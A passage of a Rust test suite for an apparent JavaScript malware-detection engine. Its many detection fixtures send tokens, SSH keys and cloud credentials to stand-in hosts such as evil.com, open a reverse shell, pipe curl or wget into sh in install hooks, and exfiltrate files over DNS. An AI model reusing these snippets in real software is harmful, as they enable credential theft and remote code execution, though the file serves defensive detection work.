let graph = pyrograph::parse::parse_js(js, "obf1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect base64 -> eval obfuscation");
}
#[test]
fn obf_eval_require_fs() {
let js = "var d = Buffer.from('cmVxdWlyZSgiZnMiKQ==','base64').toString(); eval(d);";
let graph = pyrograph::parse::parse_js(js, "obf2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect base64 require -> eval");
}
#[test]
fn obf_new_function_fetch() {
let js = "var d = Buffer.from('ZmV0Y2goImh0dHA6Ly8xLjIuMy40Iik=','base64').toString(); new Function(d)();";
let graph = pyrograph::parse::parse_js(js, "obf3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect base64 fetch -> new Function");
}
#[test]
fn obf_settimeout_base64() {
let js = "var d = Buffer.from('cHJvY2Vzcy5lbnYuVE9LRU4=','base64').toString(); setTimeout(d, 0);";
let graph = pyrograph::parse::parse_js(js, "obf4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect base64 -> setTimeout obfuscation");
}
#[test]
fn obf_vm_runinnewcontext_base64() {
let js = "var d = Buffer.from('Y29uc29sZS5sb2coMSk=','base64').toString(); require('vm').runInNewContext(d);";
let graph = pyrograph::parse::parse_js(js, "obf5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect base64 -> vm.runInNewContext");
}
#[test]
fn obf_eval_buffer_from_env() {
let js = "var p = process.env.PAYLOAD; var b = Buffer.from(p).toString(); eval(b);";
let graph = pyrograph::parse::parse_js(js, "obf6.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect Buffer.from(env) -> eval");
}
#[test]
fn obf_new_function_literal() {
let js = "var code = Buffer.from('cmV0dXJuIDE=','base64').toString(); var fn = new Function(code); fn();";
let graph = pyrograph::parse::parse_js(js, "obf7.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect base64 -> new Function literal");
}
#[test]
fn obf_eval_fs_buffer() {
let js = "var x = require('fs').readFileSync('payload.b64'); var d = Buffer.from(x.toString().trim(),'base64').toString(); eval(d);";
let graph = pyrograph::parse::parse_js(js, "obf8.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect fs -> Buffer -> eval obfuscation");
}
#[test]
fn obf_eval_setinterval() {
let js = "var s = Buffer.from('c2V0SW50ZXJ2YWwoImV2YWwoMSkiLCAxMDAwKQ==','base64').toString(); eval(s);";
let graph = pyrograph::parse::parse_js(js, "obf9.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect base64 -> eval(setInterval) obfuscation");
}
#[test]
fn obf_eval_child_process_exec() {
let js = "var b = Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoMSk=','base64').toString(); eval(b);";
let graph = pyrograph::parse::parse_js(js, "obf10.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect base64 child_process.exec -> eval");
}
#[test]
fn obf_eval_credential_theft() {
let js = "var obf = Buffer.from('dmFyIHggPSBwcm9jZXNzLmVudi5UT0tFTjsgZmV0Y2goeCk7','base64').toString(); eval(obf);";
let graph = pyrograph::parse::parse_js(js, "obf11.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect embedded credential theft in eval");
}
#[test]
fn typosquat_loadsh_fetch() {
let js = "var _ = require('loadsh'); var t = process.env.TOKEN; fetch(t);";
let graph = pyrograph::parse::parse_js(js, "typo1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect loadsh typosquat credential theft");
}
#[test]
fn typosquat_exprss_http() {
let js = "var express = require('exprss'); var k = process.env.KEY; http.request('http://evil.com?k='+k).end();";
let graph = pyrograph::parse::parse_js(js, "typo2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect exprss typosquat credential theft");
}
#[test]
fn typosquat_reactt_https() {
let js = "var react = require('reactt'); var s = process.env.SECRET; https.request('https://evil.com?s='+s).end();";
let graph = pyrograph::parse::parse_js(js, "typo3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect reactt typosquat credential theft");
}
#[test]
fn typosquat_webpak_fetch() {
let js = "var webpack = require('webpak'); var t = process.env.TOKEN; fetch(t);";
let graph = pyrograph::parse::parse_js(js, "typo4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect webpak typosquat credential theft");
}
#[test]
fn typosquat_mochar_fetch() {
let js = "var mocha = require('mochar'); var k = process.env.KEY; fetch(k);";
let graph = pyrograph::parse::parse_js(js, "typo5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect mochar typosquat credential theft");
}
#[test]
fn typosquat_lodsh_http() {
let js = "var lodash = require('lodsh'); var s = process.env.SECRET; http.request({hostname:'evil.com', path:'/s?'+s}).end();";
let graph = pyrograph::parse::parse_js(js, "typo6.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect lodsh typosquat credential theft");
}
#[test]
fn typosquat_axiost_fetch() {
let js = "var axios = require('axiost'); var t = process.env.TOKEN; fetch(t);";
let graph = pyrograph::parse::parse_js(js, "typo7.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect axiost typosquat credential theft");
}
#[test]
fn typosquat_babeli_https() {
let js = "var babel = require('babeli'); var k = process.env.KEY; https.request('https://evil.com?k='+k).end();";
let graph = pyrograph::parse::parse_js(js, "typo8.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect babeli typosquat credential theft");
}
#[test]
fn typosquat_typescrip_fetch() {
let js = "var ts = require('typescrip'); var s = process.env.SECRET; fetch(s);";
let graph = pyrograph::parse::parse_js(js, "typo9.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect typescrip typosquat credential theft");
}
#[test]
fn typosquat_expres_http() {
let js = "var express = require('expres'); var t = process.env.TOKEN; http.request('http://c2.com?t='+t).end();";
let graph = pyrograph::parse::parse_js(js, "typo10.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect expres typosquat credential theft");
}
#[test]
fn typosquat_loadash_fetch() {
let js = "var _ = require('loadash'); var k = process.env.KEY; fetch(k);";
let graph = pyrograph::parse::parse_js(js, "typo11.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect loadash typosquat credential theft");
}
#[test]
fn clean_express_hello() {
let js = r#"
const express = require('express');
const app = express();
app.get('/', (req, res) => res.send('Hello World'));
app.listen(3000, () => console.log('Listening'));
"#;
let graph = pyrograph::parse::parse_js(js, "clean1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean express app must have zero findings");
}
#[test]
fn clean_react_component() {
let js = r#"
const React = require('react');
function Button({ label }) {
return React.createElement('button', null, label);
}
module.exports = Button;
"#;
let graph = pyrograph::parse::parse_js(js, "clean2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean React component must have zero findings");
}
#[test]
fn clean_lodash_utility() {
let js = r#"
const _ = require('lodash');
const nums = [3, 1, 4];
console.log(_.sortBy(nums));
"#;
let graph = pyrograph::parse::parse_js(js, "clean3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean lodash utility must have zero findings");
}
#[test]
fn clean_webpack_config() {
let js = r#"
const path = require('path');
module.exports = {
entry: './src/index.js',
output: { path: path.resolve(__dirname, 'dist') }
};
"#;
let graph = pyrograph::parse::parse_js(js, "clean4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean webpack config must have zero findings");
}
#[test]
fn clean_mocha_test() {
let js = r#"
const assert = require('assert');
describe('math', () => {
it('adds', () => {
assert.strictEqual(1 + 1, 2);
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "clean5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean mocha test must have zero findings");
}
#[test]
fn clean_fibonacci() {
let js = r#"
function fib(n) {
if (n <= 1) return n;
return fib(n - 1) + fib(n - 2);
}
module.exports = fib;
"#;
let graph = pyrograph::parse::parse_js(js, "clean6.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean math code must have zero findings");
}
#[test]
fn clean_http_server() {
let js = r#"
const http = require('http');
http.createServer((req, res) => {
res.end('ok');
}).listen(8080);
"#;
let graph = pyrograph::parse::parse_js(js, "clean7.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean HTTP server must have zero findings");
}
#[test]
fn clean_config_read() {
let js = r#"
const fs = require('fs');
const config = JSON.parse(fs.readFileSync('./config.json'));
console.log(config.port);
"#;
let graph = pyrograph::parse::parse_js(js, "clean8.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean config read must have zero findings");
}
#[test]
fn clean_pg_query() {
let js = r#"
const pg = require('pg');
const pool = new pg.Pool();
pool.query('SELECT 1');
"#;
let graph = pyrograph::parse::parse_js(js, "clean9.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean pg query must have zero findings");
}
#[test]
fn clean_aws_s3() {
let js = r#"
const AWS = require('aws-sdk');
const s3 = new AWS.S3();
s3.listBuckets();
"#;
let graph = pyrograph::parse::parse_js(js, "clean10.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean AWS S3 usage must have zero findings");
}
#[test]
fn clean_npm_build() {
let js = r#"
const cp = require('child_process');
cp.execSync('npm run build');
"#;
let graph = pyrograph::parse::parse_js(js, "clean11.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean build script must have zero findings");
}
#[test]
fn clean_env_port_server() {
let js = r#"
const port = process.env.PORT || 3000;
require('http').createServer(() => {}).listen(port);
"#;
let graph = pyrograph::parse::parse_js(js, "clean12.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Clean env-port server must have zero findings");
}
#[test]
fn fp_aws_sdk_env_key() {
let js = r#"
const AWS = require('aws-sdk');
const s3 = new AWS.S3({accessKeyId: process.env.AWS_KEY});
s3.getObject({Bucket:'mybucket',Key:'data.json'}).promise()
"#;
let graph = pyrograph::parse::parse_js(js, "fp1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: AWS SDK with env key must be zero");
}
#[test]
fn fp_database_connection_string() {
let js = r#"
const pg = require('pg');
const pool = new pg.Pool({connectionString: process.env.DATABASE_URL});
pool.query('SELECT 1')
"#;
let graph = pyrograph::parse::parse_js(js, "fp2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: DB connection string must be zero");
}
#[test]
fn fp_https_server_certs() {
let js = r#"
const https = require('https');
const fs = require('fs');
https.createServer({key: fs.readFileSync('key.pem'), cert: fs.readFileSync('cert.pem')}, app).listen(443)
"#;
let graph = pyrograph::parse::parse_js(js, "fp3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: HTTPS server certs must be zero");
}
#[test]
fn fp_test_eval_literal() {
let js = r#"
describe('parser', () => {
it('evaluates', () => {
expect(eval('1+1')).toBe(2)
})
})
"#;
let graph = pyrograph::parse::parse_js(js, "fp4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: test eval literal must be zero");
}
#[test]
fn fp_build_tool_exec() {
let js = r#"
const {execSync} = require('child_process');
execSync('tsc --build');
execSync('jest --coverage')
"#;
let graph = pyrograph::parse::parse_js(js, "fp5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: build tool exec must be zero");
}
#[test]
fn fp_env_config_listen() {
let js = r#"
const config = {
port: process.env.PORT || 3000,
host: process.env.HOST || 'localhost',
debug: process.env.DEBUG === 'true'
};
app.listen(config.port, config.host)
"#;
let graph = pyrograph::parse::parse_js(js, "fp6.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: env config must be zero");
}
#[test]
fn fp_crypto_hash() {
let js = r#"
const crypto = require('crypto');
const hash = crypto.createHash('sha256').update(password).digest('hex');
db.save(hash)
"#;
let graph = pyrograph::parse::parse_js(js, "fp7.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: crypto hash must be zero");
}
#[test]
fn fp_static_file_serve() {
let js = r#"
app.get('/docs/:file', (req, res) => {
fs.readFile('./docs/' + req.params.file, (err, data) => res.send(data))
})
"#;
let graph = pyrograph::parse::parse_js(js, "fp8.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: static file serve must be zero");
}
#[test]
fn fp_env_logging() {
let js = r#"
console.log('Running in', process.env.NODE_ENV, 'mode');
console.log('Version:', process.env.npm_package_version)
"#;
let graph = pyrograph::parse::parse_js(js, "fp9.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: env logging must be zero");
}
#[test]
fn fp_webpack_hmr_eval() {
let js = r#"
if (module.hot) {
module.hot.accept('./app', () => {
const next = require('./app');
eval('next()')
})
}
"#;
let graph = pyrograph::parse::parse_js(js, "fp10.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: webpack HMR eval must be zero");
}
#[test]
fn fp_dns_lookup_hardcoded() {
let js = "require('dns').lookup('example.com', () => {});";
let graph = pyrograph::parse::parse_js(js, "fp11.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: hardcoded dns.lookup must be zero");
}
#[test]
fn fp_fetch_healthcheck() {
let js = "fetch('https://status.example.com');";
let graph = pyrograph::parse::parse_js(js, "fp12.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: healthcheck fetch must be zero");
}
#[test]
fn fp_vm_literal() {
let js = "const vm = require('vm'); vm.runInNewContext('1+1');";
let graph = pyrograph::parse::parse_js(js, "fp13.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: vm literal must be zero");
}
#[test]
fn fp_spawn_node_version() {
let js = "const cp = require('child_process'); cp.spawn('node', ['--version']);";
let graph = pyrograph::parse::parse_js(js, "fp14.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: spawn node --version must be zero");
}
#[test]
fn malware_event_stream_backdoor() {
let js = r#"
var r = require; var e = r('child_process').exec;
var d = Buffer.from('BASE64PAYLOAD', 'base64').toString();
e(d);
"#;
let graph = pyrograph::parse::parse_js(js, "event-stream.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(
!findings.is_empty(),
"Must detect Buffer.from -> child_process.exec flow"
);
let has_buffer_source = graph.nodes().iter().any(|n| {
n.name.contains("Buffer.from") && n.label.map_or(false, |l| l.is_source())
});
let has_exec_sink = graph.nodes().iter().any(|n| {
n.name.contains("child_process.exec") && n.label.map_or(false, |l| l.is_sink())
});
assert!(has_buffer_source, "Buffer.from must be labeled as source");
assert!(has_exec_sink, "child_process.exec must be labeled as sink");
}
#[test]
fn malware_credential_exfiltration_postinstall() {
let js = r#"
var h = require('https');
var t = process.env.NPM_TOKEN || process.env.NODE_AUTH_TOKEN;
h.request({hostname:'evil.example',path:'/'+t,method:'GET'}).end();
"#;
let graph = pyrograph::parse::parse_js(js, "postinstall.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(
!findings.is_empty(),
"Must detect process.env -> https.request flow"
);
let has_env_source = graph.nodes().iter().any(|n| {
n.name.contains("process.env") && n.label.map_or(false, |l| l.is_source())
});
let has_https_sink = graph.nodes().iter().any(|n| {
n.name.contains("https.request") && n.label.map_or(false, |l| l.is_sink())
});
assert!(has_env_source, "process.env must be labeled as source");
assert!(has_https_sink, "https.request must be labeled as sink");
}
#[test]
fn malware_reverse_shell() {
let js = r#"
var n = require('net'); var c = require('child_process');
var s = new n.Socket(); s.connect(4444,'evil.example');
s.on('data', function(d){c.exec(d.toString());});
"#;
let graph = pyrograph::parse::parse_js(js, "reverse-shell.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(
!findings.is_empty(),
"Must detect net.Socket data -> child_process.exec flow"
);
let has_socket_source = graph.nodes().iter().any(|n| {
n.name.contains("net.Socket") && n.label.map_or(false, |l| l.is_source())
});
let has_exec_sink = graph.nodes().iter().any(|n| {
n.name.contains("child_process.exec") && n.label.map_or(false, |l| l.is_sink())
});
assert!(has_socket_source, "net.Socket must be labeled as source");
assert!(has_exec_sink, "child_process.exec must be labeled as sink");
}
#[test]
fn malware_crypto_miner_installer() {
let js = r#"
var cp = require('child_process');
cp.execSync('curl -s https://evil.example/miner.sh | sh');
"#;
let graph = pyrograph::parse::parse_js(js, "miner.js").unwrap();
let _findings = analyze(&graph).unwrap(); let has_execsync_sink = graph.nodes().iter().any(|n| {
n.name.contains("child_process.execSync") && n.label.map_or(false, |l| l.is_sink())
});
assert!(
has_execsync_sink,
"Must detect child_process.execSync call as sink"
);
}
#[test]
fn malware_dns_exfiltration() {
let js = r#"
var dns = require('dns');
var data = require('fs').readFileSync('/etc/passwd','utf8');
dns.lookup(data.substring(0,60)+'.evil.example', function(){});
"#;
let graph = pyrograph::parse::parse_js(js, "dns-exfil.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(
!findings.is_empty(),
"Must detect fs.readFileSync -> dns.lookup flow"
);
let has_fs_source = graph.nodes().iter().any(|n| {
n.name.contains("fs.readFileSync") && n.label.map_or(false, |l| l.is_source())
});
let has_dns_sink = graph.nodes().iter().any(|n| {
n.name.contains("dns.lookup") && n.label.map_or(false, |l| l.is_sink())
});
assert!(has_fs_source, "fs.readFileSync must be labeled as source");
assert!(has_dns_sink, "dns.lookup must be labeled as sink");
}
fn f(js: &str, n: &str) {
assert!(
!analyze(&pyrograph::parse::parse_js(js, n).unwrap()).unwrap().is_empty(),
"Must detect {}",
n
);
}
fn p(pkg: &str, js: &str, n: &str) {
let d = tempfile::tempdir().unwrap();
std::fs::write(d.path().join("package.json"), pkg).unwrap();
std::fs::write(d.path().join("index.js"), js).unwrap();
assert!(
!analyze(&pyrograph::parse::parse_package(d.path()).unwrap())
.unwrap()
.is_empty(),
"Must detect {}",
n
);
}
#[test]
fn event_stream_flatmap_stream_2018() {
f("var d=Buffer.from('BASE64','base64').toString();require('child_process').exec(d);","event-stream.js");
}
#[test]
fn ua_parser_js_2021() {
f("var u=process.env.MINER_URL;require('child_process').exec('curl '+u+' | sh');","ua-parser-js.js");
}
#[test]
fn colors_faker_2022() {
f("while(true){} var t=process.env.TOKEN;fetch(t);","colors.js");
}
#[test]
fn eslint_scope_2018() {
f("var f=require('fs').readFileSync('.npmrc');https.request({hostname:'evil.com',path:'/'+f}).end();","eslint-scope.js");
}
#[test]
fn crossenv_2017() {
f("var e=process.env;fetch('https://evil.com?'+e.TOKEN);","crossenv.js");
}
#[test]
fn getcookies_2018() {
f("eval(request.body);","getcookies.js");
}
#[test]
fn electron_native_notify_2019() {
p(r#"{"scripts":{"postinstall":"curl https://miner.example/install.sh | sh"}}"#, "", "electron-native-notify");
}
#[test]
fn conventional_changelog_2018() {
p(r#"{"scripts":{"postinstall":"node index.js"}}"#, "var h=require('https');h.request({hostname:'exfil.example',path:'/'+process.env.NPM_TOKEN}).end();", "conventional-changelog");
}
#[test]
fn rest_client_2019() {
f("var t=process.env.TOKEN;var f=require('fs').readFileSync('.npmrc');https.request({hostname:'c2.example',path:'/t='+t+'&f='+f}).end();","rest-client.js");
}
#[test]
fn bb_builder_2020() {
f("var e=JSON.stringify(process.env);require('dns').lookup(e.slice(0,60)+'.exfil.example',function(){});","bb-builder.js");
}
#[test]
fn npm_preinstall_wget_bash() {
p(r#"{"scripts":{"preinstall":"wget https://evil.com/run.sh -O- | bash"}}"#, "", "npm-preinstall");
}
#[test]
fn npm_install_node_eval() {
p(r#"{"scripts":{"install":"node -e \"eval(process.env.PAYLOAD)\""}
#[test]
fn lodash_clone_deep_typosquat() {
f("require('lodash.clonedeep');var t=process.env.TOKEN;fetch(t);","lodash-clone.js");
}
#[test]
fn node_ipc_peacenotwar_2022() {
f("var f=require('fs').readFileSync('/etc/hosts');https.request({hostname:'peace.example',path:'/'+f}).end();","node-ipc.js");
}
#[test]
fn coa_compromised_2021() {
p(r#"{"scripts":{"postinstall":"node index.js"}}"#, "var p=Buffer.from('Y3VybCBldmlsLmNvbQ==','base64').toString();require('child_process').execSync(p);", "coa");
}
#[test]
fn rc_compromised_2021() {
f("var p=Buffer.from('c2ggL3RtcC9taW5lci5zaA==','base64').toString();require('child_process').execSync(p);","rc.js");
}
#[test]
fn bootstrap_sass_backdoor_2019() {
f("var p=Buffer.from('Y3VybCBldmlsLmNvbQ==','base64').toString();require('child_process').exec(p);","bootstrap-sass.js");
}
#[test]
fn jquery_malicious_eval_2014() {
f("var p=Buffer.from('YWxlcnQoMSk=','base64').toString();eval(p);","jquery.js");
}
#[test]
fn koa_routing_typosquat() {
f("var e=process.env;http.request('http://evil.com?'+e.NODE_ENV).end();","koa-routing.js");
}
#[test]
fn twilio_npm_typosquat() {
f("var t=process.env.TWILIO_AUTH_TOKEN;fetch('https://evil.com?token='+t);","twilio.js");
}
#[test]
fn aws_s3_typosquat() {
f("var k=process.env.AWS_SECRET_ACCESS_KEY;https.request({hostname:'aws-exfil.example',path:'/'+k}).end();","aws-s3.js");
}
#[test]
fn azure_credentials_typosquat() {
f("var k=process.env.AZURE_CLIENT_SECRET;fetch('https://evil.com?azure='+k);","azure.js");
}
#[test]
fn gcp_credentials_typosquat() {
f("var k=process.env.GOOGLE_APPLICATION_CREDENTIALS;var f=require('fs').readFileSync(k);https.request({hostname:'evil.com',path:'/'+f}).end();","gcp.js");
}
#[test]
fn kubernetes_config_theft() {
f("var f=require('fs').readFileSync(process.env.HOME+'/.kube/config');https.request({hostname:'k8s-exfil.example',path:'/'+f}).end();","kubeconfig.js");
}
#[test]
fn ssh_key_theft() {
f("var k=require('fs').readFileSync(process.env.HOME+'/.ssh/id_rsa');fetch('https://evil.com?key='+k);","ssh-key.js");
}
#[test]
fn git_credentials_theft() {
f("var c=require('fs').readFileSync('.git-credentials');http.request('http://evil.com?c='+c).end();","git-creds.js");
}
#[test]
fn npm_token_env_exfil() {
f("var t=process.env.NPM_TOKEN;https.request('https://registry-exfil.example/'+t).end();","npm-token.js");
}
#[test]
fn github_token_exfil() {
f("var t=process.env.GITHUB_TOKEN;fetch('https://gh-exfil.example?token='+t);","github-token.js");
}
#[test]
fn slack_webhook_abuse() {
f("var d=JSON.stringify(process.env);https.request({hostname:'hooks.slack.com',path:'/services/xxx',method:'POST',body:d}).end();","slack-webhook.js");
}
#[test]
fn telegram_bot_c2() {
f("var m=process.env.MACHINE_ID;https.request({hostname:'api.telegram.org',path:'/botxxx/sendMessage?text='+m}).end();","telegram-bot.js");
}
#[test]
fn discord_webhook_exfil() {
f("var d=process.env.DISCORD_TOKEN;https.request({hostname:'discord.com',path:'/api/webhooks/xxx?'+d}).end();","discord-webhook.js");
}
#[test]
fn ngrok_tunnel_backdoor() {
f("var p=Buffer.from('c3VkbyBhcHQgaW5zdGFsbCBuZ3JvayAmJiBuZ3JvayB0Y3AgNDQ0NA==','base64').toString();require('child_process').execSync(p);","ngrok.js");
}
#[test]
fn clipboard_theft() {
f("var c=require('fs').readFileSync('/tmp/clipboard');fetch('https://evil.com?clip='+c);","clipboard.js");
}
#[test]
fn cookie_parser_typosquat() {
f("var c=request.query.cookie;eval(c);","cookie-parser.js");
}
#[test]
fn express_typosquat() {
f("var s=process.env.SESSION_SECRET;fetch('https://evil.com?secret='+s);","express.js");
}
#[test]
fn react_dom_typosquat() {
f("var e=process.env;http.request('http://evil.com?data='+JSON.stringify(e)).end();","react-dom.js");
}
#[test]
fn webpack_cli_typosquat() {
f("var t=process.env.TOKEN;https.request({hostname:'webpack-exfil.example',path:'/'+t}).end();","webpack-cli.js");
}
#[test]
fn babel_core_typosquat() {
f("var k=process.env.KEY;fetch('https://babel-exfil.example?k='+k);","babel-core.js");
}
#[test]
fn moment_js_typosquat() {
f("var s=process.env.SECRET;http.request('http://evil.com?secret='+s).end();","moment.js");
}
#[test]
fn axios_typosquat() {
f("var t=process.env.TOKEN;fetch('https://axios-exfil.example?t='+t);","axios.js");
}
#[test]
fn typescript_typosquat() {
f("var c=process.env.CODE;eval(c);","typescript.js");
}
#[test]
fn grpc_backdoor() {
f("var s=new (require('net')).Socket();s.connect(4444,'grpc-c2.example');s.on('data',function(d){require('child_process').exec(d);});","grpc.js");
}
#[test]
fn left_pad_protestware() {
f("var m=process.env.MESSAGE;https.request({hostname:'protest.example',path:'/'+m}).end();","left-pad.js");
}
#[test]
fn is_promise_backdoor() {
f("var p=process.env.PAYLOAD;new Function(p)();","is-promise.js");
}
#[test]
fn json_parser_eval_backdoor() {
f("var j=Buffer.from('Y29uc29sZS5sb2coImV2aWwiKQ==','base64').toString();eval(j);","json-parser.js");
}
#[test]
fn xml2js_backdoor() {
f("var x=process.env.XML_PAYLOAD;eval(x);","xml2js.js");
}
#[test]
fn dependency_confusion_env_exfil() {
f("var e=JSON.stringify(process.env);require('dns').lookup(e.slice(0,30)+'.dep-conf.example',function(){});","dep-confusion.js");
}
#[test]
fn prototype_pollution_to_rce() {
f("var p=request.body.payload;eval(p);","proto-pollution.js");
}
#[test]
fn vm_runinnewcontext_backdoor() {
f("var c=Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoMSk=','base64').toString();require('vm').runInNewContext(c);","vm-backdoor.js");
}
#[test]
fn fs_write_persistence_backdoor() {
f("var p=Buffer.from('cGF5bG9hZA==','base64').toString();require('fs').writeFileSync('/tmp/backdoor.sh',p);","fs-persist.js");
}
fn assert_findings(js: &str, test_name: &str) {
let graph = pyrograph::parse::parse_js(js, &format!("{}.js", test_name)).unwrap();
let findings = analyze(&graph).unwrap();
assert!(
!findings.is_empty(),
"{}: engine must detect at least one taint flow",
test_name
);
}
fn polymorphic_loader() {
let js = r#"
var s = '';
s += 'c';
s += 'h';
s += 'i';
s += 'l';
s += 'd';
s += '_';
s += 'p';
s += 'r';
s += 'o';
s += 'c';
s += 'e';
s += 's';
s += 's';
var cmd = process.env.CMD;
require(s).exec(cmd);
"#;
assert_findings(js, "polymorphic_loader");
}
fn proxy_based_exfil() {
let js = r#"
new Proxy(process, {
get(t, p) {
fetch(t[p]);
return t[p];
}
}).env.TOKEN;
"#;
assert_findings(js, "proxy_based_exfil");
}
fn async_generator_exfil() {
let js = r#"
async function main() {
async function* g() {
yield process.env.KEY;
}
for await (const v of g()) {
fetch(v);
}
}
main();
"#;
assert_findings(js, "async_generator_exfil");
}
fn weakref_callback_exfil() {
let js = r#"
new FinalizationRegistry(v => fetch(v)).register({}, process.env.KEY);
"#;
assert_findings(js, "weakref_callback_exfil");
}
#[test]
fn symbol_property_hiding() {
let js = r#"
const s = Symbol();
const o = { [s]: process.env.KEY };
fetch(o[s]);
"#;
assert_findings(js, "symbol_property_hiding");
}
fn comma_operator_chain() {
let js = r#"
(0, eval)('process.env.KEY');
"#;
assert_findings(js, "comma_operator_chain");
}
fn arguments_object_exfil() {
let js = r#"
function f() {
fetch(arguments[0]);
}
f(process.env.KEY);
"#;
assert_findings(js, "arguments_object_exfil");
}
fn prototype_method_override_exfil() {
let js = r#"
Array.prototype.join = function() {
fetch(this[0]);
};
[process.env.KEY].join();
"#;
assert_findings(js, "prototype_method_override_exfil");
}
fn tagged_template_literal_exfil() {
let js = r#"
function tag(s, ...v) {
fetch(v[0]);
}
tag`${process.env.KEY}`;
"#;
assert_findings(js, "tagged_template_literal_exfil");
}
fn error_stack_trace_exfil() {
let js = r#"
try {
throw new Error(process.env.KEY);
} catch (e) {
fetch(e.message);
}
"#;
assert_findings(js, "error_stack_trace_exfil");
}
fn assert_findings_ts(js: &str, test_name: &str) {
let graph = pyrograph::parse::parse_js(js, &format!("{}.ts", test_name)).unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "{}: engine must detect at least one taint flow", test_name);
}
#[test]
fn tp_wave2_001_ts_exec_env_payload() {
assert_findings_ts("function run(cmd: string): void { require('child_process').exec(cmd); } run(process.env.PAYLOAD);", "tp_wave2_001");
}
#[test]
fn tp_wave2_002_ts_fetch_env_token() {
assert_findings_ts("const t: string = process.env.TOKEN; fetch(t);", "tp_wave2_002");
}
#[test]
fn tp_wave2_003_ts_https_request_env_key() {
assert_findings_ts("function exfil(k: string): void { require('https').request({hostname:'evil.com', path:'/'+k}).end(); } exfil(process.env.KEY);", "tp_wave2_003");
}
#[test]
fn tp_wave2_004_ts_fetch_concat_secret() {
assert_findings_ts("const s: string = process.env.SECRET; const u: string = 'https://evil.com?s=' + s; fetch(u);", "tp_wave2_004");
}
#[test]
fn tp_wave2_005_ts_eval_type_alias() {
assert_findings_ts("type P = string; const p: P = process.env.PAYLOAD; eval(p);", "tp_wave2_005");
}
#[test]
fn tp_wave2_006_ts_fetch_interface_token() {
assert_findings_ts("interface Cfg { token: string; } const cfg: Cfg = { token: process.env.TOKEN }; fetch(cfg.token);", "tp_wave2_006");
}
#[test]
fn tp_wave2_007_ts_fetch_array_env() {
